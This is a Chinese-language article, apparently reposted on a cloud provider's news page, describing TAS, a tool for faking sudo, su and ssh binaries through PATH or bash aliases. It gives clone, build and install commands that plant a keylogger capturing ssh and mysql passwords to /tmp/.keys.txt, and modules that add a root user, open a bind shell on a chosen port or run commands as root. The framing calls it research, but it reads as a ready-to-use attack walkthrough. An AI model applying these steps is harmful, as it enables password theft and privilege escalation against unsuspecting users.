您好,登錄后才能下訂單哦!
這篇文章主要介紹TAS中一款輕量級tty修改與代碼偽造框架的示例分析,文中介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們一定要看完!
TAS是一款輕量級框架,在它的幫助下,研究人員可以輕松修改tty并創建偽造的代碼。
該框架擁有三個主要函數,即tas_execv、tas_forkpty和tas_tty_loop:
1、tas_execv:這個函數的作用跟execv類似,但是它并不會重新執行當前代碼,這對于創建偽造代碼來說非常有用;
2、tas_forkpty:這個函數跟forkpty一樣,不過它會自動填充自定義結構體,檢查forkpty操作頁并獲取詳細信息;
3、tas_tty_loop:這個函數負責對tty進行修改操作,我們可以針對輸入和輸出數據設置鉤子函數,這樣就可以獲取到用戶輸入的擊鍵數據或修改終端輸出結果(leet-shell)。
如果你需要深入了解TAS的工作機制,可以通過查看本項目的“tas/fakebins/fun”目錄以獲取更多信息。
通過修改PATH環境變量,或使用Bash的Aliases(或其他支持Aliases的Shell),你就可以直接運行其他程序,而無需運行用戶真正要運行的那個程序。這樣一來,我們就可以捕捉到目標用戶的鍵盤擊鍵數據,并修改命令行來改變原始程序的行為。
修改某些程序的命令行,例如sudo和su,將會幫助我們在目標設備上實現提權。
為了方便大家理解和使用TAS,我專門創建了三個示例程序來演示該框架的功能,即sudo、su和generic-keylogger。
generic-keylogger,正如其名字所示,它可以被當作鍵盤記錄器來使用,而我們在這里主要利用它來獲取類似ssh和mysql這類程序的密碼。
當然了,它也可以被當作鍵盤記錄器來使用,或者你也能夠以root權限來運行某些功能模塊(通過修改命令行)。
Cmd修改步驟
首先,目標用戶輸入并運行下列命令:
sudo cmd
此時,實際運行的命令如下:
fakesudo cmd
其中,fakesudo將會執行下列命令:
sudo fakesudo cmd
以root權限運行上述命令之后,fakesudo將會創建一個子進程來執行其中的部分功能模塊,并且在進程的主PID中,它會運行原始命令。注意,如果用戶運行的命令是sudo cmd [args]的話,fakesudo才會修改命令,如果添加了額外的命令運行參數,那么命令將無法被修改。
如果使用的是su,那么情況跟sudo的差不多。
首先,目標用戶輸入并運行下列命令:
Su -
此時,實際運行的命令如下:
fakesu -
其中,fakesudo將會執行下列命令:
su - -c fakesu
以root權限運行上述命令之后,fakesu將會創建一個子進程來執行其中的部分功能模塊,并且在進程的主PID中,它會運行bash -i命令。
注意:只有當用戶運行su或su -時,fakesu才會修改命令,如果如果添加了額外的命令運行參數,那么命令將無法被修改。
目前,該工具只有下列三個功能模塊:
1、add-root-user:使用/etc/passwd中的密碼創建一個root用戶;
2、bind-shell:監聽傳入的連接,并生成一個tty shell;
3、system:以root權限執行命令;
廣大研究人員可以使用下列命令將項目源碼克隆至本地:
git clone https://github.com/hc0d3r/tas.git
首先,我們需要構建項目基庫:
$ make CC .obj/globals.o CC .obj/getinode.o CC .obj/tas-execv.o CC .obj/tty.o CC .obj/xreadlink.o AR .obj/libtas.a
接下來,我們還需要運行下列命令構建sudo、su和generic-keylogger:
make [target-bin]
構建樣例:
$ make su make[1]: Entering directory '/home/test/tas/fakebins/su'[+] configuring fakesu ...enable keylogger? [y/N] y number of lines to record [empty = store all]: logfile (default: /tmp/.keys.txt): use some FUN modules? [y/N] n [+] configuration file created in /home/test/tas/fakebins/su/config.h CC su make[1]: Leaving directory '/home/test/tas/fakebins/su'
編譯:
$ make generic-keylogger make[1]: Entering directory '/home/test/tas/fakebins/generic-keylogger'[+] configuring generic-keylogger ... number of lines to record [empty = store all]: 3 logfile (default: /tmp/.keys.txt): [+] configuration file created in /home/test/tas/fakebins/generic-keylogger/config.h CC generic-keylogger make[1]: Leaving directory '/home/test/tas/fakebins/generic-keylogger'
安裝:
$ mkdir ~/.bin $ cp generic-keylogger ~/.bin/ssh $ echo "alias ssh='$HOME/.bin/ssh'" >> ~/.bashrc
演示:
編譯:
make[1]: Entering directory '/home/test/tas/fakebins/sudo'[+] configuring fakesudo ...enable keylogger? [y/N] n use some FUN modules? [y/N] y [1] add-root-user [2] bind-shell [3] system [4] cancel> 2 listen port (Default: 1337): 5992 [+] configuration file created in /home/test/tas/fakebins/sudo/config.h CC sudo make[1]: Leaving directory '/home/test/tas/fakebins/sudo'
安裝:
$ cp sudo ~/.sudo $ echo "alias sudo='$HOME/.sudo'" >> ~/.bashrc
演示:
在leet-shell這個使用樣例中,你可以修改tty輸出,它將允許你使用bash(類似1337 h5x0r):
[test@alfheim tas]$ make fun/leet-shell CC fun/leet-shell [t3st@alfheim tas]$ fun/leet-shell SP4WN1NG L33T SH3LL H3R3 !!![t3st@4lfh41m t4s]$ 3ch0 'l33t sh4ll 1s l33t !!!'l33t sh4ll 1s l33t !!!
以上是“TAS中一款輕量級tty修改與代碼偽造框架的示例分析”這篇文章的所有內容,感謝各位的閱讀!希望分享的內容對大家有幫助,更多相關知識,歡迎關注億速云行業資訊頻道!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。